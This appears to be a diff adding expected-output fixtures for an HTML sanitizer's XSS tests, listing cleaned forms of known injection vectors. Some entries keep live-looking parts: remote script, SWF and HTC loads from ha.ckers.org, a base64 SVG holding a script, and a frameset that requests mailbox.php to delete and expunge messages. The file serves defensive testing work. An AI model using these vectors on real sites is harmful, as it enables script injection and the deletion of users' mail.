+<IMG XSSCleaned="xss:expr/*XSS*/ession(alert('XSS'))">
+xss61.html
+<XSS XSSCleaned="xss:expression(alert('XSS'))">
+xss62.html
+exp/*<A XSSCleaned='no\xss:noxss("*//*");
+xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
+xss63.html
+<!--alert('XSS');-->
+xss64.html
+<!--.XSS{background-image:url("XSSCleanedalert('XSS')");}--><A CLASS=XSS></A>
+xss65.html
+<!--BODY{background:url("XSSCleanedalert('XSS')")}-->
+xss66.html
+
+xss67.html
+<!-- <BASE HREF="XSSCleanedalert('XSS');//"> -->
+xss68.html
+<XSSCleaned_tag TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></XSSCleaned_tag>
+xss69.html
+<XSSCleaned_tag classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=XSSCleanedalert('XSS')></XSSCleaned_tag>
+xss70.html
+<XSSCleaned_tag SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></XSSCleaned_tag>
+xss71.html
+<XSSCleaned_tag SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></XSSCleaned_tag>
+xss72.html
+<HTML xmlns:xss>
+ <XSSCleaned_tagnamespace="xss" implementation="http://ha.ckers.org/xss.htc">
+ <xss:xss>XSS</xss:xss>
+</HTML>
+xss73.html
+<XSSCleaned_tag ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
+</C></X></XSSCleaned_tag><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+xss74.html
+<XSSCleaned_tag ID="xss"><I><B><IMG SRC="XSSCleanedalert('XSS')"></B></I></XSSCleaned_tag>
+<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
+xss75.html
+<XSSCleaned_tag SRC="xsstest.xml" ID=I></XSSCleaned_tag>
+<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+xss76.html
+<HTML><BODY>
+<?XSSCleaned_tag:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<XSSCleaned_tagnamespace="t" implementation="#default#time2">
+<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
+</BODY></HTML>
+xss77.html
+<XSSCleaned_tag SRC="http://ha.ckers.org/xss.jpg"><XSSCleaned_tag>
+xss78.html
+<IMG SRC="XSSCleanedalert('XSS')"
+xss79.html
+<XSSCleaned_script />
+xss80.html
+<XSSCleaned_script />
+xss81.html
+<XSSCleaned_script />
+xss82.html
+<XSSCleaned_script />
+xss83.html
+<XSSCleaned_script />
+xss84.html
+<XSSCleaned_script />
+xss85.html
+<XSSCleaned_script />PT SRC="http://ha.ckers.org/a.js"></XSSCleaned_tag>
+xss97.html
+<body/onloadXSSCleaned=alert(/xss/)>
+xss98.html
+<XSSCleaned_tagset rows="15,15,15,15,15,15,15,15,15,*">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=199&indices%5B%5D=200&indices%5B%5D=201&indices%5B%5D=202&indices%5B%5D=203&indices%5B%5D=204&indices%5B%5D=205&indices%5B%5D=206&indices%5B%5D=207&indices%5B%5D=208&indices%5B%5D=209&indices%5B%5D=210&indices%5B%5D=211&indices%5B%5D=212&indices%5B%5D=213&indices%5B%5D=214&indices%5B%5D=215&indices%5B%5D=216&indices%5B%5D=217&indices%5B%5D=218&indices%5B%5D=219&indices%5B%5D=220&indices%5B%5D=221&indices%5B%5D=222&indices%5B%5D=223&indices%5B%5D=224&indices%5B%5D=225&indices%5B%5D=226&indices%5B%5D=227&indices%5B%5D=228&indices%5B%5D=229&indices%5B%5D=230&indices%5B%5D=231&indices%5B%5D=232&indices%5B%5D=233&indices%5B%5D=234&indices%5B%5D=235&indices%5B%5D=236&indices%5B%5D=237&indices%5B%5D=238&indices%5B%5D=239&indices%5B%5D=240&indices%5B%5D=241&indices%5B%5D=242&indices%5B%5D=243&indices%5B%5D=244&indices%5B%5D=245&indices%5B%5D=246&indices%5B%5D=247&indices%5B%5D=248&indices%5B%5D=249&indices%5B%5D=250&indices%5B%5D=251&indices%5B%5D=252&indices%5B%5D=253&indices%5B%5D=254&indices%5B%5D=255&indices%5B%5D=256&indices%5B%5D=257&indices%5B%5D=258&indices%5B%5D=259&indices%5B%5D=260&indices%5B%5D=261&indices%5B%5D=262&indices%5B%5D=263&indices%5B%5D=264&indices%5B%5D=265&indices%5B%5D=266&indices%5B%5D=267&indices%5B%5D=268&indices%5B%5D=269&indices%5B%5D=270&indices%5B%5D=271&indices%5B%5D=272&indices%5B%5D=273&indices%5B%5D=274&indices%5B%5D=275&indices%5B%5D=276&indices%5B%5D=277&indices%5B%5D=278&indices%5B%5D=279&indices%5B%5D=280&indices%5B%5D=281&indices%5B%5D=282&indices%5B%5D=283&indices%5B%5D=284&indices%5B%5D=285&indices%5B%5D=286&indices%5B%5D=287&indices%5B%5D=288&indices%5B%5D=289&indices%5B%5D=290&indices%5B%5D=291&indices%5B%5D=292&indices%5B%5D=293&indices%5B%5D=294&indices%5B%5D=295&indices%5B%5D=296&indices%5B%5D=297&indices%5B%5D=298">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=299&indices%5B%5D=300&indices%5B%5D=301&indices%5B%5D=302&indices%5B%5D=303&indices%5B%5D=304&indices%5B%5D=305&indices%5B%5D=306&indices%5B%5D=307&indices%5B%5D=308&indices%5B%5D=309&indices%5B%5D=310&indices%5B%5D=311&indices%5B%5D=312&indices%5B%5D=313&indices%5B%5D=314&indices%5B%5D=315&indices%5B%5D=316&indices%5B%5D=317&indices%5B%5D=318&indices%5B%5D=319&indices%5B%5D=320&indices%5B%5D=321&indices%5B%5D=322&indices%5B%5D=323&indices%5B%5D=324&indices%5B%5D=325&indices%5B%5D=326&indices%5B%5D=327&indices%5B%5D=328&indices%5B%5D=329&indices%5B%5D=330&indices%5B%5D=331&indices%5B%5D=332&indices%5B%5D=333&indices%5B%5D=334&indices%5B%5D=335&indices%5B%5D=336&indices%5B%5D=337&indices%5B%5D=338&indices%5B%5D=339&indices%5B%5D=340&indices%5B%5D=341&indices%5B%5D=342&indices%5B%5D=343&indices%5B%5D=344&indices%5B%5D=345&indices%5B%5D=346&indices%5B%5D=347&indices%5B%5D=348&indices%5B%5D=349&indices%5B%5D=350&indices%5B%5D=351&indices%5B%5D=352&indices%5B%5D=353&indices%5B%5D=354&indices%5B%5D=355&indices%5B%5D=356&indices%5B%5D=357&indices%5B%5D=358&indices%5B%5D=359&indices%5B%5D=360&indices%5B%5D=361&indices%5B%5D=362&indices%5B%5D=363&indices%5B%5D=364&indices%5B%5D=365&indices%5B%5D=366&indices%5B%5D=367&indices%5B%5D=368&indices%5B%5D=369&indices%5B%5D=370&indices%5B%5D=371&indices%5B%5D=372&indices%5B%5D=373&indices%5B%5D=374&indices%5B%5D=375&indices%5B%5D=376&indices%5B%5D=377&indices%5B%5D=378&indices%5B%5D=379&indices%5B%5D=380&indices%5B%5D=381&indices%5B%5D=382&indices%5B%5D=383&indices%5B%5D=384&indices%5B%5D=385&indices%5B%5D=386&indices%5B%5D=387&indices%5B%5D=388&indices%5B%5D=389&indices%5B%5D=390&indices%5B%5D=391&indices%5B%5D=392&indices%5B%5D=393&indices%5B%5D=394&indices%5B%5D=395&indices%5B%5D=396&indices%5B%5D=397&indices%5B%5D=398">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=399&indices%5B%5D=400&indices%5B%5D=401&indices%5B%5D=402&indices%5B%5D=403&indices%5B%5D=404&indices%5B%5D=405&indices%5B%5D=406&indices%5B%5D=407&indices%5B%5D=408&indices%5B%5D=409&indices%5B%5D=410&indices%5B%5D=411&indices%5B%5D=412&indices%5B%5D=413&indices%5B%5D=414&indices%5B%5D=415&indices%5B%5D=416&indices%5B%5D=417&indices%5B%5D=418&indices%5B%5D=419&indices%5B%5D=420&indices%5B%5D=421&indices%5B%5D=422&indices%5B%5D=423&indices%5B%5D=424&indices%5B%5D=425&indices%5B%5D=426&indices%5B%5D=427&indices%5B%5D=428&indices%5B%5D=429&indices%5B%5D=430&indices%5B%5D=431&indices%5B%5D=432&indices%5B%5D=433&indices%5B%5D=434&indices%5B%5D=435&indices%5B%5D=436&indices%5B%5D=437&indices%5B%5D=438&indices%5B%5D=439&indices%5B%5D=440&indices%5B%5D=441&indices%5B%5D=442&indices%5B%5D=443&indices%5B%5D=444&indices%5B%5D=445&indices%5B%5D=446&indices%5B%5D=447&indices%5B%5D=448&indices%5B%5D=449&indices%5B%5D=450&indices%5B%5D=451&indices%5B%5D=452&indices%5B%5D=453&indices%5B%5D=454&indices%5B%5D=455&indices%5B%5D=456&indices%5B%5D=457&indices%5B%5D=458&indices%5B%5D=459&indices%5B%5D=460&indices%5B%5D=461&indices%5B%5D=462&indices%5B%5D=463&indices%5B%5D=464&indices%5B%5D=465&indices%5B%5D=466&indices%5B%5D=467&indices%5B%5D=468&indices%5B%5D=469&indices%5B%5D=470&indices%5B%5D=471&indices%5B%5D=472&indices%5B%5D=473&indices%5B%5D=474&indices%5B%5D=475&indices%5B%5D=476&indices%5B%5D=477&indices%5B%5D=478&indices%5B%5D=479&indices%5B%5D=480&indices%5B%5D=481&indices%5B%5D=482&indices%5B%5D=483&indices%5B%5D=484&indices%5B%5D=485&indices%5B%5D=486&indices%5B%5D=487&indices%5B%5D=488&indices%5B%5D=489&indices%5B%5D=490&indices%5B%5D=491&indices%5B%5D=492&indices%5B%5D=493&indices%5B%5D=494&indices%5B%5D=495&indices%5B%5D=496&indices%5B%5D=497&indices%5B%5D=498">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=499&indices%5B%5D=500&indices%5B%5D=501&indices%5B%5D=502&indices%5B%5D=503&indices%5B%5D=504&indices%5B%5D=505&indices%5B%5D=506&indices%5B%5D=507&indices%5B%5D=508&indices%5B%5D=509&indices%5B%5D=510&indices%5B%5D=511&indices%5B%5D=512&indices%5B%5D=513&indices%5B%5D=514&indices%5B%5D=515&indices%5B%5D=516&indices%5B%5D=517&indices%5B%5D=518&indices%5B%5D=519&indices%5B%5D=520&indices%5B%5D=521&indices%5B%5D=522&indices%5B%5D=523&indices%5B%5D=524&indices%5B%5D=525&indices%5B%5D=526&indices%5B%5D=527&indices%5B%5D=528&indices%5B%5D=529&indices%5B%5D=530&indices%5B%5D=531&indices%5B%5D=532&indices%5B%5D=533&indices%5B%5D=534&indices%5B%5D=535&indices%5B%5D=536&indices%5B%5D=537&indices%5B%5D=538&indices%5B%5D=539&indices%5B%5D=540&indices%5B%5D=541&indices%5B%5D=542&indices%5B%5D=543&indices%5B%5D=544&indices%5B%5D=545&indices%5B%5D=546&indices%5B%5D=547&indices%5B%5D=548&indices%5B%5D=549&indices%5B%5D=550&indices%5B%5D=551&indices%5B%5D=552&indices%5B%5D=553&indices%5B%5D=554&indices%5B%5D=555&indices%5B%5D=556&indices%5B%5D=557&indices%5B%5D=558&indices%5B%5D=559&indices%5B%5D=560&indices%5B%5D=561&indices%5B%5D=562&indices%5B%5D=563&indices%5B%5D=564&indices%5B%5D=565&indices%5B%5D=566&indices%5B%5D=567&indices%5B%5D=568&indices%5B%5D=569&indices%5B%5D=570&indices%5B%5D=571&indices%5B%5D=572&indices%5B%5D=573&indices%5B%5D=574&indices%5B%5D=575&indices%5B%5D=576&indices%5B%5D=577&indices%5B%5D=578&indices%5B%5D=579&indices%5B%5D=580&indices%5B%5D=581&indices%5B%5D=582&indices%5B%5D=583&indices%5B%5D=584&indices%5B%5D=585&indices%5B%5D=586&indices%5B%5D=587&indices%5B%5D=588&indices%5B%5D=589&indices%5B%5D=590&indices%5B%5D=591&indices%5B%5D=592&indices%5B%5D=593&indices%5B%5D=594&indices%5B%5D=595&indices%5B%5D=596&indices%5B%5D=597&indices%5B%5D=598">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=delete_messages&targetMbox=&newMbox=0&flag=&indices%5B%5D=599&indices%5B%5D=600&indices%5B%5D=601&indices%5B%5D=602&indices%5B%5D=603&indices%5B%5D=604&indices%5B%5D=605&indices%5B%5D=606&indices%5B%5D=607&indices%5B%5D=608&indices%5B%5D=609&indices%5B%5D=610&indices%5B%5D=611&indices%5B%5D=612&indices%5B%5D=613&indices%5B%5D=614&indices%5B%5D=615&indices%5B%5D=616&indices%5B%5D=617&indices%5B%5D=618&indices%5B%5D=619&indices%5B%5D=620&indices%5B%5D=621&indices%5B%5D=622&indices%5B%5D=623&indices%5B%5D=624&indices%5B%5D=625&indices%5B%5D=626&indices%5B%5D=627&indices%5B%5D=628&indices%5B%5D=629&indices%5B%5D=630&indices%5B%5D=631&indices%5B%5D=632&indices%5B%5D=633&indices%5B%5D=634&indices%5B%5D=635&indices%5B%5D=636&indices%5B%5D=637&indices%5B%5D=638&indices%5B%5D=639&indices%5B%5D=640&indices%5B%5D=641&indices%5B%5D=642&indices%5B%5D=643&indices%5B%5D=644&indices%5B%5D=645&indices%5B%5D=646&indices%5B%5D=647&indices%5B%5D=648&indices%5B%5D=649&indices%5B%5D=650&indices%5B%5D=651&indices%5B%5D=652&indices%5B%5D=653&indices%5B%5D=654&indices%5B%5D=655&indices%5B%5D=656&indices%5B%5D=657&indices%5B%5D=658&indices%5B%5D=659&indices%5B%5D=660&indices%5B%5D=661&indices%5B%5D=662&indices%5B%5D=663&indices%5B%5D=664&indices%5B%5D=665&indices%5B%5D=666&indices%5B%5D=667&indices%5B%5D=668&indices%5B%5D=669&indices%5B%5D=670&indices%5B%5D=671&indices%5B%5D=672&indices%5B%5D=673&indices%5B%5D=674&indices%5B%5D=675&indices%5B%5D=676&indices%5B%5D=677&indices%5B%5D=678&indices%5B%5D=679&indices%5B%5D=680&indices%5B%5D=681&indices%5B%5D=682&indices%5B%5D=683&indices%5B%5D=684&indices%5B%5D=685&indices%5B%5D=686&indices%5B%5D=687&indices%5B%5D=688&indices%5B%5D=689&indices%5B%5D=690&indices%5B%5D=691&indices%5B%5D=692&indices%5B%5D=693&indices%5B%5D=694&indices%5B%5D=695&indices%5B%5D=696&indices%5B%5D=697&indices%5B%5D=698">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=expunge_mailbox">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=expunge_mailbox">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=expunge_mailbox">
+<XSSCleaned_tag src="mailbox.php?page=1&actionID=expunge_mailbox">
+<XSSCleaned_tag src="http://secunia.com/">
+</XSSCleaned_tagset>
+xss99.html
+<img src=""> <BODY ONLOADXSSCleaned="a();"><XSSCleaned_script /><"" />
+style_xss01.html
+<BASE HREF="XSSCleanedalert('XSS');//">